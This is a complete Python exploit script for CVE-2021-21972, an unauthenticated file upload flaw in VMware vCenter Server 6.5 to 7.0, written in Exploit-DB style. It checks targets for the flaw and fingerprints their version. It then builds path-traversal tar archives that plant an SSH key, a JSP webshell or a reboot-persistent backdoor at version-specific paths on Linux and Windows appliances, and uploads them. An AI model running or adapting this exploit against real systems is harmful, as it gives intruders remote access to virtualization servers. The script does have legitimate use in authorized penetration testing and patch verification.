# Exploit Title: VMware vCenter Server 7.0 - Unauthenticated File Upload
# Date: 2021-02-27
# Exploit Author: Photubias
# Vendor Advisory: [1] https://www.vmware.com/security/advisories/VMSA-2021-0002.html
# Version: vCenter Server 6.5 (7515524<[vulnerable]<17590285), vCenter Server 6.7 (<17138064) and vCenter Server 7 (<17327517)
# Tested on: vCenter Server Appliance 6.5, 6.7 & 7.0, multiple builds
# CVE: CVE-2021-21972
#!/usr/bin/env python3
'''
Copyright 2021 Photubias(c)
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
File name CVE-2021-21972.py
written by tijl[dot]deneut[at]howest[dot]be for www.ic4.be
CVE-2021-21972 is an unauthenticated file upload and overwrite,
exploitation can be done via SSH public key upload or a webshell
The webshell must be of type JSP, and its success depends heavily on the specific vCenter version
# Manual verification: https://<ip>/ui/vropspluginui/rest/services/checkmobregister
# A white page means vulnerable
# A 401 Unauthorized message means patched or workaround implemented (or the system is not completely booted yet)
# Notes:
# * On Linux SSH key upload is always best, when SSH access is possible & enabled
# * On Linux the upload is done as user vsphere-ui:users
# * On Windows the upload is done as system user
# * vCenter 6.5 <=7515524 does not contain the vulnerable component "vropspluginui"
# * vCenter 6.7U2 and up are running the Webserver in memory, so backdoor the system (active after reboot) or use SSH payload
This is a native implementation without requirements, written in Python 3.
Works equally well on Windows as Linux (as MacOS, probably ;-)
Features: vulnerability checker + exploit
'''
import os, tarfile, sys, optparse, requests
requests.packages.urllib3.disable_warnings()
lProxy = {}
SM_TEMPLATE = b'''<env:Envelope xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:env="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<env:Body>
<RetrieveServiceContent xmlns="urn:vim25">
<_this type="ServiceInstance">ServiceInstance</_this>
</RetrieveServiceContent>
</env:Body>
</env:Envelope>'''
sURL = sFile = sRpath = sType = None
def parseArguments(options):
global sURL, sFile, sType, sRpath, lProxy
if not options.url or not options.file: exit('[-] Error: please provide at least an URL and a FILE to upload.')
sURL = options.url
if sURL[-1:] == '/': sURL = sURL[:-1]
if not sURL[:4].lower() == 'http': sURL = 'https://' + sURL
sFile = options.file
if not os.path.exists(sFile): exit('[-] File not found: ' + sFile)
sType = 'ssh'
if options.type: sType = options.type
if options.rpath: sRpath = options.rpath
else: sRpath = None
if options.proxy: lProxy = {'https': options.proxy}
def getVersion(sURL):
def getValue(sResponse, sTag = 'vendor'):
try: return sResponse.split('<' + sTag + '>')[1].split('</' + sTag + '>')[0]
except: pass
return ''
oResponse = requests.post(sURL + '/sdk', verify = False, proxies = lProxy, timeout = 5, data = SM_TEMPLATE)
#print(oResponse.text)
if oResponse.status_code == 200:
sResult = oResponse.text
if not 'VMware' in getValue(sResult, 'vendor'):
exit('[-] Not a VMware system: ' + sURL)
else:
sName = getValue(sResult, 'name')
sVersion = getValue(sResult, 'version') # e.g. 7.0.0
sBuild = getValue(sResult, 'build') # e.g. 15934073
sFull = getValue(sResult, 'fullName')
print('[+] Identified: ' + sFull)
return sVersion, sBuild
exit('[-] Not a VMware system: ' + sURL)
def verify(sURL):
#return True
sURL += '/ui/vropspluginui/rest/services/uploadova'
try:
oResponse = requests.get(sURL, verify=False, proxies = lProxy, timeout = 5)
except:
exit('[-] System not available: ' + sURL)
if oResponse.status_code == 405: return True ## A patched system returns 401, but also if it is not booted completely
else: return False
def createTarLin(sFile, sType, sVersion, sBuild, sRpath = None):
def getResourcePath():
oResponse = requests.get(sURL + '/ui', verify = False, proxies = lProxy, timeout = 5)
return oResponse.text.split('static/')[1].split('/')[0]
oTar = tarfile.open('payloadLin.tar','w')
if sRpath: ## version & build not important
if sRpath[0] == '/': sRpath = sRpath[1:]
sPayloadPath = '../../' + sRpath
oTar.add(sFile, arcname=sPayloadPath)
oTar.close()
return 'absolute'
elif sType.lower() == 'ssh': ## version & build not important
sPayloadPath = '../../home/vsphere-ui/.ssh/authorized_keys'
oTar.add(sFile, arcname=sPayloadPath)
oTar.close()
return 'ssh'
elif (int(sVersion.split('.')[0]) == 6 and int(sVersion.split('.')[1]) == 5) or (int(sVersion.split('.')[0]) == 6 and int(sVersion.split('.')[1]) == 7 and int(sBuild) < 13010631):
## vCenter 6.5/6.7 < 13010631, just this location with a subnumber
sPayloadPath = '../../usr/lib/vmware-vsphere-ui/server/work/deployer/s/global/%d/0/h5ngc.war/resources/' + os.path.basename(sFile)
print('[!] Selected uploadpath: ' + sPayloadPath[5:])
for i in range(112): oTar.add(sFile, arcname=sPayloadPath % i)
oTar.close()
return 'webshell'
elif (int(sVersion.split('.')[0]) == 6 and int(sVersion.split('.')[1]) == 7 and int(sBuild) >= 13010631):
## vCenter 6.7 >= 13010631, webshell not an option, but backdoor works when put at /usr/lib/vmware-vsphere-ui/server/static/resources/libs/<thefile>
sPayloadPath = '../../usr/lib/vmware-vsphere-ui/server/static/resources/libs/' + os.path.basename(sFile)
print('[!] Selected uploadpath: ' + sPayloadPath[5:])
oTar.add(sFile, arcname=sPayloadPath)
oTar.close()
return 'backdoor'
else: #(int(sVersion.split('.')[0]) == 7 and int(sVersion.split('.')[1]) == 0):
## vCenter 7.0, backdoor webshell, but dynamic location (/usr/lib/vmware-vsphere-ui/server/static/resources15863815/libs/<thefile>)
sPayloadPath = '../../usr/lib/vmware-vsphere-ui/server/static/' + getResourcePath() + '/libs/' + os.path.basename(sFile)
print('[!] Selected uploadpath: ' + sPayloadPath[5:])
oTar.add(sFile, arcname=sPayloadPath)
oTar.close()
return 'backdoor'
def createTarWin(sFile, sRpath = None):
## vCenter only (uploaded as administrator), vCenter 7+ did not exist for Windows
if sRpath:
if sRpath[0] == '/': sRpath = sRpath[:1]
sPayloadPath = '../../' + sRpath
else:
sPayloadPath = '../../ProgramData/VMware/vCenterServer/data/perfcharts/tc-instance/webapps/statsreport/' + os.path.basename(sFile)
oTar = tarfile.open('payloadWin.tar','w')
oTar.add(sFile, arcname=sPayloadPath)
oTar.close()
def uploadFile(sURL, sUploadType, sFile):
#print('[!] Uploading ' + sFile)
sFile = os.path.basename(sFile)
sUploadURL = sURL + '/ui/vropspluginui/rest/services/uploadova'
arrLinFiles = {'uploadFile': ('1.tar', open('payloadLin.tar', 'rb'), 'application/octet-stream')}
## Linux
oResponse = requests.post(sUploadURL, files = arrLinFiles, verify = False, proxies = lProxy)
if oResponse.status_code == 200:
if oResponse.text == 'SUCCESS':
print('[+] Linux payload uploaded succesfully.')
if sUploadType == 'ssh':
print('[+] SSH key installed for user \'vsphere-ui\'.')
print(' Please run \'ssh vsphere-ui@' + sURL.replace('https://','') + '\'')
return True
elif sUploadType == 'webshell':
sWebshell = sURL + '/ui/resources/' + sFile
#print('testing ' + sWebshell)
oResponse = requests.get(sWebshell, verify=False, proxies = lProxy)
if oResponse.status_code != 404:
print('[+] Webshell verified, please visit: ' + sWebshell)
return True
elif sUploadType == 'backdoor':
sWebshell = sURL + '/ui/resources/' + sFile
print('[+] Backdoor ready, please reboot or wait for a reboot')
print(' then open: ' + sWebshell)
else: ## absolute
pass
## Windows
arrWinFiles = {'uploadFile': ('1.tar', open('payloadWin.tar', 'rb'), 'application/octet-stream')}
oResponse = requests.post(sUploadURL, files=arrWinFiles, verify = False, proxies = lProxy)
if oResponse.status_code == 200:
if oResponse.text == 'SUCCESS':
print('[+] Windows payload uploaded succesfully.')
if sUploadType == 'backdoor':
print('[+] Absolute upload looks OK')
return True
else:
sWebshell = sURL + '/statsreport/' + sFile
oResponse = requests.get(sWebshell, verify=False, proxies = lProxy)
if oResponse.status_code != 404:
print('[+] Webshell verified, please visit: ' + sWebshell)
return True
return False
if __name__ == "__main__":
usage = (
'Usage: %prog [option]\n'
'Exploiting Windows & Linux vCenter Server\n'
'Create SSH keys: ssh-keygen -t rsa -f id_rsa -q -N \'\'\n'
'Note1: Since the 6.7U2+ (b13010631) Linux appliance, the webserver is in memory. Webshells only work after reboot\n'
'Note2: Windows is the most vulnerable, but less mostly deprecated anyway')
parser = optparse.OptionParser(usage=usage)
parser.add_option('--url', '-u', dest='url', help='Required; example https://192.168.0.1')
parser.add_option('--file', '-f', dest='file', help='Required; file to upload: e.g. id_rsa.pub in case of ssh or webshell.jsp in case of webshell')
parser.add_option('--type', '-t', dest='type', help='Optional; ssh/webshell, default: ssh')
parser.add_option('--rpath', '-r', dest='rpath', help='Optional; specify absolute remote path, e.g. /tmp/testfile or /Windows/testfile')
parser.add_option('--proxy', '-p', dest='proxy', help='Optional; configure a HTTPS proxy, e.g. http://127.0.0.1:8080')
(options, args) = parser.parse_args()
parseArguments(options)
## Verify
if verify(sURL): print('[+] Target vulnerable: ' + sURL)
else: exit('[-] Target not vulnerable: ' + sURL)
## Read out the version
sVersion, sBuild = getVersion(sURL)
if sRpath: print('[!] Ready to upload your file to ' + sRpath)
elif sType.lower() == 'ssh': print('[!] Ready to upload your SSH keyfile \'' + sFile + '\'')
else: print('[!] Ready to upload webshell \'' + sFile + '\'')
sAns = input('[?] Want to exploit? [y/N]: ')
if not sAns or not sAns[0].lower() == 'y': exit()
## Create TAR file
sUploadType = createTarLin(sFile, sType, sVersion, sBuild, sRpath)
if not sUploadType == 'ssh': createTarWin(sFile, sRpath)
## Upload and verify
uploadFile(sURL, sUploadType, sFile)
## Cleanup
os.remove('payloadLin.tar')
os.remove('payloadWin.tar')
